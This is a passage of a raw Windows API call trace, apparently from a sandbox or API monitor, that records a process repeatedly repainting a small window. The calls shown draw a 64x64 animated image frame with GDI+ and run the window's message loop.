[0140.051] GetClipRgn (hdc=0x300106ea, hrgn=0xffffffffba0407c3) returned 0 [0140.051] SelectClipRgn (hdc=0x300106ea, hrgn=0xffffffff8a040b8a) returned 2 [0140.051] DeleteObject (ho=0xffffffffba0407c3) returned 1 [0140.052] DeleteObject (ho=0xffffffff8a040b8a) returned 1 [0140.052] OffsetViewportOrgEx (in: hdc=0x300106ea, x=0, y=0, lppt=0x26c5d90 | out: lppt=0x26c5d90) returned 1 [0140.052] GetNearestColor (hdc=0x300106ea, color=0xffffff) returned 0xffffff [0140.052] CreateSolidBrush (color=0xffffff) returned 0xffffffff92100190 [0140.052] FillRect (hDC=0x300106ea, lprc=0x15d7c0, hbr=0xffffffff92100190) returned 1 [0140.052] DeleteObject (ho=0xffffffff92100190) returned 1 [0140.052] RestoreDC (hdc=0x300106ea, nSavedDC=-1) returned 1 [0140.052] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.052] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x300106ea) returned 0x0 [0140.052] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcc20dbd) returned 0x0 [0140.052] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.052] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0140.053] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0140.053] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0140.053] GetSystemMetrics (nIndex=42) returned 0 [0140.053] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0140.053] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0140.053] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0140.053] CoTaskMemFree (pv=0x1e91eca0) [0140.053] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0140.053] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0140.053] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0140.053] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0140.053] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x300106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0140.054] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.054] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x300106ea) returned 0x0 [0140.054] SelectObject (hdc=0x300106ea, h=0x185000f) returned 0x1a05067e [0140.054] DeleteDC (hdc=0x300106ea) returned 1 [0140.054] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.054] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0140.054] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0140.054] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0140.054] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0140.054] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0140.054] WaitMessage () returned 1 [0140.182] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0140.183] IsWindowUnicode (hWnd=0x2031e) returned 1 [0140.183] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0140.183] TranslateMessage (lpMsg=0x15e910) returned 0 [0140.183] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0140.183] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0140.183] GetCurrentThreadId () returned 0xec0 [0140.183] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0140.183] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0140.183] IsWindowUnicode (hWnd=0x2031e) returned 1 [0140.183] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0140.183] TranslateMessage (lpMsg=0x15e910) returned 0 [0140.183] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0140.183] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0140.184] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0140.184] CreateCompatibleDC (hdc=0x3010b83) returned 0x310106ea [0140.184] SelectObject (hdc=0x310106ea, h=0x1a05067e) returned 0x185000f [0140.184] GdipCreateFromHDC (hdc=0x310106ea, graphics=0x15daf0) returned 0x0 [0140.184] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0140.184] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0140.184] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0140.184] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0140.184] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0140.184] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.184] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0140.185] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.185] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.185] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0140.185] GdipCreateRegion (region=0x15dc20) returned 0x0 [0140.185] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0140.185] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0140.186] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0140.186] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0140.186] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0140.186] GetSystemMetrics (nIndex=42) returned 0 [0140.186] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0140.186] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0140.186] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0140.186] CoTaskMemFree (pv=0x1e91eca0) [0140.186] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0140.186] GdipCreateRegion (region=0x15d710) returned 0x0 [0140.186] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0140.186] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0140.186] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0140.186] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0140.186] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.187] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0140.187] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.187] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0140.187] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.187] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0140.188] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.188] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.188] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0140.188] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0140.188] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0140.188] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0140.188] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.188] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0140.188] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0140.188] GetCurrentObject (hdc=0x310106ea, type=0x1) returned 0x1b00017 [0140.188] GetCurrentObject (hdc=0x310106ea, type=0x2) returned 0x1900010 [0140.188] GetCurrentObject (hdc=0x310106ea, type=0x7) returned 0x1a05067e [0140.189] GetCurrentObject (hdc=0x310106ea, type=0x6) returned 0x18a002e [0140.189] SaveDC (hdc=0x310106ea) returned 1 [0140.189] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff8b040b8a [0140.189] GetClipRgn (hdc=0x310106ea, hrgn=0xffffffff8b040b8a) returned 0 [0140.189] SelectClipRgn (hdc=0x310106ea, hrgn=0xffffffffbb0407c3) returned 2 [0140.189] DeleteObject (ho=0xffffffff8b040b8a) returned 1 [0140.189] DeleteObject (ho=0xffffffffbb0407c3) returned 1 [0140.189] OffsetViewportOrgEx (in: hdc=0x310106ea, x=0, y=0, lppt=0x26c66c8 | out: lppt=0x26c66c8) returned 1 [0140.189] GetNearestColor (hdc=0x310106ea, color=0xffffff) returned 0xffffff [0140.189] CreateSolidBrush (color=0xffffff) returned 0xffffffff93100190 [0140.189] FillRect (hDC=0x310106ea, lprc=0x15d7c0, hbr=0xffffffff93100190) returned 1 [0140.189] DeleteObject (ho=0xffffffff93100190) returned 1 [0140.190] RestoreDC (hdc=0x310106ea, nSavedDC=-1) returned 1 [0140.190] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.190] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x310106ea) returned 0x0 [0140.190] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcc00dbd) returned 0x0 [0140.190] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.190] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0140.190] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0140.190] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0140.190] GetSystemMetrics (nIndex=42) returned 0 [0140.190] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0140.190] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0140.190] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0140.190] CoTaskMemFree (pv=0x1e91eca0) [0140.190] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x2) returned 0x0 [0140.192] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0140.193] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0140.193] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0140.193] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0140.193] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x310106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0140.193] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.193] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x310106ea) returned 0x0 [0140.193] SelectObject (hdc=0x310106ea, h=0x185000f) returned 0x1a05067e [0140.193] DeleteDC (hdc=0x310106ea) returned 1 [0140.193] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.193] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0140.193] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0140.193] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0140.194] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0140.194] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0140.194] WaitMessage () returned 1 [0140.310] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0140.310] IsWindowUnicode (hWnd=0x2031e) returned 1 [0140.310] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0140.310] TranslateMessage (lpMsg=0x15e910) returned 0 [0140.310] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0140.311] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0140.311] GetCurrentThreadId () returned 0xec0 [0140.311] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0140.311] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0140.311] IsWindowUnicode (hWnd=0x2031e) returned 1 [0140.311] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0140.311] TranslateMessage (lpMsg=0x15e910) returned 0 [0140.311] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0140.311] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0140.311] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0140.311] CreateCompatibleDC (hdc=0x3010b83) returned 0x320106ea [0140.311] SelectObject (hdc=0x320106ea, h=0x1a05067e) returned 0x185000f [0140.311] GdipCreateFromHDC (hdc=0x320106ea, graphics=0x15daf0) returned 0x0 [0140.312] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0140.312] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0140.312] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0140.312] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0140.312] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0140.312] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.312] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0140.313] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.313] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.313] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0140.313] GdipCreateRegion (region=0x15dc20) returned 0x0 [0140.313] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0140.313] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0140.313] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0140.313] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0140.313] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0140.313] GetSystemMetrics (nIndex=42) returned 0 [0140.313] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0140.313] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0140.313] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0140.314] CoTaskMemFree (pv=0x1e91eca0) [0140.314] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0140.314] GdipCreateRegion (region=0x15d710) returned 0x0 [0140.314] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0140.314] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0140.314] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0140.314] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0140.314] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.314] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0140.315] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.315] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0140.315] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.315] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0140.315] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.315] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.315] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0140.315] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0140.316] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0140.316] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0140.316] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.316] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0140.316] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0140.316] GetCurrentObject (hdc=0x320106ea, type=0x1) returned 0x1b00017 [0140.316] GetCurrentObject (hdc=0x320106ea, type=0x2) returned 0x1900010 [0140.316] GetCurrentObject (hdc=0x320106ea, type=0x7) returned 0x1a05067e [0140.316] GetCurrentObject (hdc=0x320106ea, type=0x6) returned 0x18a002e [0140.316] SaveDC (hdc=0x320106ea) returned 1 [0140.316] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffbc0407c3 [0140.316] GetClipRgn (hdc=0x320106ea, hrgn=0xffffffffbc0407c3) returned 0 [0140.316] SelectClipRgn (hdc=0x320106ea, hrgn=0xffffffff8c040b8a) returned 2 [0140.317] DeleteObject (ho=0xffffffffbc0407c3) returned 1 [0140.317] DeleteObject (ho=0xffffffff8c040b8a) returned 1 [0140.317] OffsetViewportOrgEx (in: hdc=0x320106ea, x=0, y=0, lppt=0x26c79d0 | out: lppt=0x26c79d0) returned 1 [0140.317] GetNearestColor (hdc=0x320106ea, color=0xffffff) returned 0xffffff [0140.317] CreateSolidBrush (color=0xffffff) returned 0xffffffff94100190 [0140.317] FillRect (hDC=0x320106ea, lprc=0x15d7c0, hbr=0xffffffff94100190) returned 1 [0140.317] DeleteObject (ho=0xffffffff94100190) returned 1 [0140.317] RestoreDC (hdc=0x320106ea, nSavedDC=-1) returned 1 [0140.317] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.317] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x320106ea) returned 0x0 [0140.317] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcbe0dbd) returned 0x0 [0140.317] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.318] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0140.318] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0140.318] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0140.318] GetSystemMetrics (nIndex=42) returned 0 [0140.318] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0140.318] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0140.318] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0140.318] CoTaskMemFree (pv=0x1e91eca0) [0140.318] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0140.318] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0140.318] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0140.319] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0140.319] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x320106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0140.319] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.319] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x320106ea) returned 0x0 [0140.319] SelectObject (hdc=0x320106ea, h=0x185000f) returned 0x1a05067e [0140.319] DeleteDC (hdc=0x320106ea) returned 1 [0140.319] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.319] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0140.319] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0140.319] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0140.320] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0140.320] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0140.320] WaitMessage () returned 1 [0140.500] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0140.500] IsWindowUnicode (hWnd=0x2031e) returned 1 [0140.500] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0140.500] TranslateMessage (lpMsg=0x15e910) returned 0 [0140.500] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0140.500] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0140.500] GetCurrentThreadId () returned 0xec0 [0140.501] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0140.501] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0140.501] IsWindowUnicode (hWnd=0x2031e) returned 1 [0140.501] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0140.501] TranslateMessage (lpMsg=0x15e910) returned 0 [0140.501] DispatchMessageW (lpMsg=0x15e910) returned 0x32080181 [0140.501] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0140.501] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0140.501] CreateCompatibleDC (hdc=0x3010b83) returned 0x330106ea [0140.501] SelectObject (hdc=0x330106ea, h=0x1a05067e) returned 0x185000f [0140.501] GdipCreateFromHDC (hdc=0x330106ea, graphics=0x15daf0) returned 0x0 [0140.502] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0140.502] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0140.502] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0140.502] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0140.502] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0140.502] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.502] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0140.503] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.503] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.503] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0140.503] GdipCreateRegion (region=0x15dc20) returned 0x0 [0140.503] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0140.503] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0140.503] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0140.503] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0140.503] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0140.503] GetSystemMetrics (nIndex=42) returned 0 [0140.503] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0140.503] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0140.504] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0140.504] CoTaskMemFree (pv=0x1e91eca0) [0140.504] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0140.504] GdipCreateRegion (region=0x15d710) returned 0x0 [0140.504] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0140.504] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0140.504] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0140.504] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0140.504] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.504] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0140.505] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.505] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0140.505] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.505] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0140.505] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.505] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.505] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0140.506] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0140.506] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0140.506] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0140.506] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.506] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0140.506] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0140.506] GetCurrentObject (hdc=0x330106ea, type=0x1) returned 0x1b00017 [0140.506] GetCurrentObject (hdc=0x330106ea, type=0x2) returned 0x1900010 [0140.506] GetCurrentObject (hdc=0x330106ea, type=0x7) returned 0x1a05067e [0140.506] GetCurrentObject (hdc=0x330106ea, type=0x6) 